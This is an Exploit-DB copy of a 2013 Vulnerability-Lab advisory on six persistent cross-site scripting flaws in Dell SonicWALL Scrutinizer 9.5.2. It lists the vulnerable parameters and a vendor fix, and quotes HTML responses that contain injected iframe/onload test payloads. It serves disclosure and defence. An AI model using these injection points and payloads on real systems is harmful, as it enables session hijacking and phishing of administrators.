SonicWALL OEM Scrutinizer 9.5.2 - Multiple Vulnerabilities

EDB-ID:

24500

CVE:





Platform:

Windows

Date:

2013-02-14


Title:
======
Sonicwall OEM Scrutinizer v9.5.2 - Multiple Web Vulnerabilities


Date:
=====
2013-02-14


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=786


VL-ID:
=====
786


Common Vulnerability Scoring System:
====================================
5.2


Introduction:
=============
Dell™ SonicWALL™ Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool 
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers. 
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight 
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range 
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can 
deploy Scrutinizer as a virtual appliance for high performance environments. 

(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer.html )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Dell Sonicwall OEM Scrutinizer v9.5.2 appliance application.


Report-Timeline:
================
2012-12-05:	Researcher Notification & Coordination
2012-12-07:	Vendor Notification
2013-01-08:	Vendor Response/Feedback
2013-02-10:	Vendor Fix/Patch
2013-02-11:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
DELL
Product: Sonicwall OEM Scrutinizer 9.5.2


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
Multiple persistent input validation vulnerabilities are detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
The bugs allows remote attackers to implement/inject malicious script code on the application side (persistent).

The first persistent vulnerability is located in the Alarm - New Board & Policy Manager module with the bound vulnerable 
Search item - BBSearchText parameter request. The vulnerability allows to inject persistent script code as search item value.
The result is the persistent execution of script code out of the BBSearchText listing.

The secound persistent vulnerability is located in the Dashboard - Flow Expert module with the bound vulnerable Mytab parameter.
The vulnerability allows to inject persistent script code as myTab link value. The result is the persistent execution of script 
code out of the Mytab link listing.

The 3rd persistent vulnerability is located in the MyView (CGI) module with the bound vulnerable `newName` parameter request.
The vulnerability allows to inject persistent script code as newName. The result is the persistent execution of script code 
out of the core value listing.

The 4th persistent vulnerability is located in the Admin > Admin [New Users & New Group] module with the bound vulnerable 
groupName & username parameters. The vulnerability allows to inject persistent script code as username or groupname. The result 
is the persistent execution of script code out of all username and group listings + checkboxes.

The 5th persistent vulnerability is located in the Admin > Admin [Mapping / Maps (CGI) - Dashboard Status] module with the bound 
vulnerable groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox) parameters. 
The vulnerability allows to inject persistent script code as groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name 
& settings groups(checkbox) value(s). The result is the persistent execution of script code out of the groupMembers, Type, Checkbox 
Linklike, indexColumn, name, Object Name listings and settings groups checkbox.

The 6th persistent vulnerability is located in the Alarms > Overview Bulletin Board > Advanced Filters module with the bound vulnerable 
displayBBAdvFilterModal() - (Policy Name, Board Name, Violators) parameters. The vulnerability allows to inject persistent script code 
as Policy Name, Board Name and Violator. The result is the persistent execution of script code out of the Policy Name, Board Name and 
Violator listings.

Successful exploitation of the vulnerability can lead to persistent session hijacking (manager/admin), persistent phishing, persistent 
external redirects to malware or scam and persistent web context manipulation in the affected vulnerable module(s). Exploitation requires 
low user interaction & a low privileged appliance web application user account.

Vulnerable Section(s):
			[+] Alarm
			[+] Dashboard
			[+] MyView (CGI)
			[+] Admin > Admin
			[+] Admin > Admin 
			[+] Alarms

Vulnerable Module(s):
			[+] New Board & Policy Manager
			[+] Flow Expert
			[+] Value
			[+] New Users & New Group
			[+] Mapping / Maps (CGI) - Dashboard Status
			[+] Overview Bulletin Board > Advanced Filters

Vulnerable Parameter(s):
			[+] Search item - BBSearchText
			[+] Mytab
			[+] newName
			[+] groupName & username - Place in Usergroup - Listing
			[+] groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox)
			[+] displayBBAdvFilterModal() - (Policy Name, Board Name, Violators)


Proof of Concept:
=================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged application user account 
and low required user interaction. For demonstration or reproduce ...


Review: Alarm > New Board & Policy Manager - [BBSearchText]  Search item

<td class="textRight agNoWrap">
<input id="BBSearchText" title="Search item" value="<<[PERSISTENT INJECTED SCRIPT CODE!];)" <="""=""></iframe>
<input class="button" id="BBSearchButton" value="Search" title="Search" onclick="bbSearch(this)" type="button">

<input class="button" onclick="displayBBAdvFilterModal()" title="Search using multiple criteria" value="Advanced Filters" type="button">




Review: Dashboard > Flow Expert > Mytab - [Mytab Name]

<div><span class="myv_tab"><span tid="1" style="margin-left: 10px; margin-right: 10px;">Flow Expert</span></span>
<span class="myv_tab"><span tid="2" style="margin-left: 10px; margin-right: 10px;">Configure Flow Analytics</span></span>
<span class="myv_tab"><span tid="3" style="margin-left: 10px; margin-right: 10px;">CrossCheck</span></span><span class="myv_tab">
<span tid="4" style="margin-left: 10px; margin-right: 10px;">Example</span></span><span class="myv_tab"><span tid="5" style="margin-left: 
10px; margin-right: 10px;">Cisco PfR</span></span><span class="myv_tab"><span tid="6" style="margin-left: 10px; margin-right: 
10px;">Training</span></span><span class="myv_selectedtab"><span title="Click to rename" class="jedit" id="tab_7" 
origname="My New Tab"><[PERSISTENT INJECTED SCRIPT CODE!]">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></span>
<img style="margin-left: 6px; cursor: pointer;" src="Scrutinizer%20%29%20Dashboard-Dateien/tab-edit.gif"></span><span class="add_tab">
<span style="margin-left: 6px; cursor: pointer;">Add a tab</span></span></div>



Review: MyView (CGI) > Value - [newName]

<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head>
<body>{"newName":"<[PERSISTENT INJECTED SCRIPT CODE!]">    \"><[PERSISTENT INJECTED SCRIPT CODE!]") <"}</iframe></body>
</html>


Review: Admin > Admin > New Users & New Group - [groupname, up_availGroups & username - Place in Usergroup - Listing]

<div class="unfortunate" style="" id="settingsContent">
		
<div id="settingsHeader"></div>

<div id="settingsOutput">



<title>User Preferences</title>
<div id="mainFrame">


<div style="height: 552px;" id="upMenu"><div class="basic ui-accordion selected" style="float:left;" id="upTreeMenu">
<a class="selected"> New User</a><div style="height: 511px; display: block; overflow: hidden;" class="genericAccordionContainer">
<p style="padding-left: 10px;" id="new_user_panel"><label>Username: <input class="newform" id="new_username" 
type="text"></label><label>Password <input class="newform" id="new_password" type="password"><img id="pw_strength" src="/images/common/strength_0.gif"></label><label>Confirm Password: <input class="newform" id="cnf_password" type="password">
</label><label style="margin-top: 5px; margin-bottom: 8px;" id="up_availGroupsLbl">Place in User Group <select style="display: block;" 
id="up_availGroups"><option value="3"><iframe src="a">    "><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></option>
<option value="1">Administrators</option><option value="2">Guests</option></select></label>​​​​​<input value="Create User" class="button" 
style="margin-top: 3px;" type="button"></p></div><a class=""> Users</a><div style="height: 511px; display: none; overflow: hidden;" 
class="genericAccordionContainer"><p id="users_p"><span class="menuLink">admin</span></p></div></div></div>


Review: Admin > Admin > Mapping/Maps (CGI) - Dashboard Status - [groupMembers, Type, Checkbox Linklike, indexColumn,name,ObjectName & settings groups]

<div class="fmapsScroll" id="groupScroll"><table class="dataTable filterable" id="grpTable"><tbody id="grpTbody"><tr id="grpTblHdr">
<th width="20"><input id="checkAllObj" name="checkAllObj" title="Permanently delete groups" type="checkbox"></th><th style="width: 100%;" 
class="alignLeft">Group Name</th><th width="40">Type</th><th width="40">Membership</th><th width="40">Map Status</th></tr><tr id="grp_tr1">
<td><input title="Permanently delete this object from ALL groups" name="1" type="checkbox"></td><td class="alignLeft"><a title="Click here to edit 
this group" href="#NA" class="linkLike"><iframe src="a">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...</iframe></a>
</td><td>Google</td><td><a title="Click to change object 
membership for this group" class="linkLike">Membership</a></td><td><select id="pass_1" class="passSel"><option value="0">No Pass</option>
<option value="1">Pass Up</option></select></td>
<td style="display: none;" class="indexColumn">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...googlemembershipno 
passpass up</td></tr></tbody></table></div><input style="margin-top: 10px; margin-left: 8px;" id="delObjectBtn" value="Delete" class="button" 
type="button"><div id="editGrpDiv"><div id="obj_typeForm"><div id="iconPreview"><img src="/images/maps/group16.png" id="previewImage"></div>
<div id="toGroupMsg"></div><select style="margin-left: 30px; margin-bottom: 5px; width: 159px;" id="obj_iconSelect" name="icon"><option 
value="gicon16.png">gicon16.png</option><option value="gicon24.png">gicon24.png</option><option value="gicon32.png">gicon32.png</option>
<option value="gicon48.png">gicon48.png</option><option value="gicon72.png">gicon72.png</option><option value="group16.png">group16.png</option>
<option value="group24.png">group24.png</option><option value="group32.png">group32.png</option><option value="group48.png">group48.png</option>
<option value="group72.png">group72.png</option></select></div><table id="editGroupTable" class="dataTable"><tbody><tr id="grpTypeRow">
<td class="alignLeft cellHeader">Type</td><td class="alignLeft"><select id="edit_grpType"><option value="flash">Flash</option>

...

<table class="dataTable" id="fmaps_mapTabList" width="100%"><thead><tr>​​​​​<th style="white-space: nowrap;" nowrap="">Map</th>
<th style="white-space: nowrap;" nowrap="">Type</th><th style="white-space: nowrap;" nowrap="">Background</th></tr></thead><tbody>
<tr><td class="" style="white-space: nowrap; padding-right: 5px;" align="left" nowrap=""><a href="#NA"><iframe src="a">%20%20%20%20">
<iframe src=a onload=alert("VL") <</iframe></a></td><td class="" style="white-space: nowrap;" align="left" nowrap="" width="100%">Google</td>
​​​​​<td class="" align="center">-</td></tr></tbody></table>

...

<tbody id="objTbody"><tr id="objTblHdr"><th width="20"><input id="checkAllObj" name="checkAllObj" type="checkbox"></th><th width="20"> 
</th>​​​​​<th style="width: 100%;" tf_colkey="objName" class="alignLeft">Object Name</th><th style="text-align: center;" align="center" nowrap="">
Type</th><th width="20">Membership</th></tr><tr id="obj_tr1"><td class="fmaps_bakTrHi highlightRow"> </td><td class="fmaps_bakTrHi 
highlightRow"><img class="listIcon" src="/images/maps/gicon24.png"></td><td class="alignLeft fmaps_bakTrHi highlightRow"><a title="Click to edit 
this object" href="#NA"><iframe src="a">%20%20%20%20"><iframe src=...</iframe></a></td><td class="fmaps_bakTrHi highlightRow" nowrap="">
<span style="cursor:default;">Group</span></td><td class="fmaps_bakTrHi highlightRow"><a title="Click to change group membership for this object" 
class="linkLike">Membership</a>​​​​​</td><td style="display: none;" class="indexColumn fmaps_bakTrHi 
highlightRow"> %20%20%20%20"><iframe src=...groupmembership</td></tr></tbody>

...

<td style="padding-right: 1px; padding-bottom: 1px; padding-left: 1px;" id="fmaps_confBody" valign="top"><div style="height: 19px;" 
id="fmaps_containerTitle" class="titleBar">​​​​​<span style="float:left" ;="">Settings</span><img title="Map Settings Help" 
src="/images/common/help.png"><select id="fmaps_groupSelect">
<option class="google" value="1"><iframe src="a">%20%20%20%20"><iframe src=a onload=alert("VL") < (google)
</iframe></option></select></div>​​​​​<div id="fmaps_confBodyContainer"><div id="defaultsContainer">


...

<li class="expandable noWrapOver " groupid="g1"> <div class="hitarea expandable-hitarea "> </div> ​​​​​<img src="/images/common/gicon.png" 
gid="1" title="<iframe src=a>%20%20%20%20">​​​​​<iframe src="a" onload="alert("VL")" <="" (group="" id:="" 1)"=""></iframe>
<span id="sdfTreeLoadG" class="" title="<iframe src=a>%20%20%20%20"><iframe src=a onload=alert("VL") < (Group ID: 1)" 
gid="1"><iframe src="a">%20%20%20...</span>

<ul style="display: none;">

<li>Loading...</li>
</ul>
</li>
<li class='expandable noWrapOver lastExpandable'> 
<div class='hitarea expandable-hitarea lastExpandable-hitarea'> </div> <img src='/images/common/TreeUngroupGray.png'/><span class="">Ungrouped</span>
			<ul style="display: none;">
<li class="last"><span class=" ">No Devices</span></li>
</ul>
</li>
</ul>
</iframe></span></li>


Solution:
=========
2013-02-10:	Vendor Fix/Patch

Where changing code paths to use bound variables was not practical in such a short timeframe, we pass inputs included in a query through a function that escapes potentially dangerous characters.


Risk:
=====
The security risk of the persistent input validation web vulnerabilities are estimated as medium(+)|(-)high.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory

-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com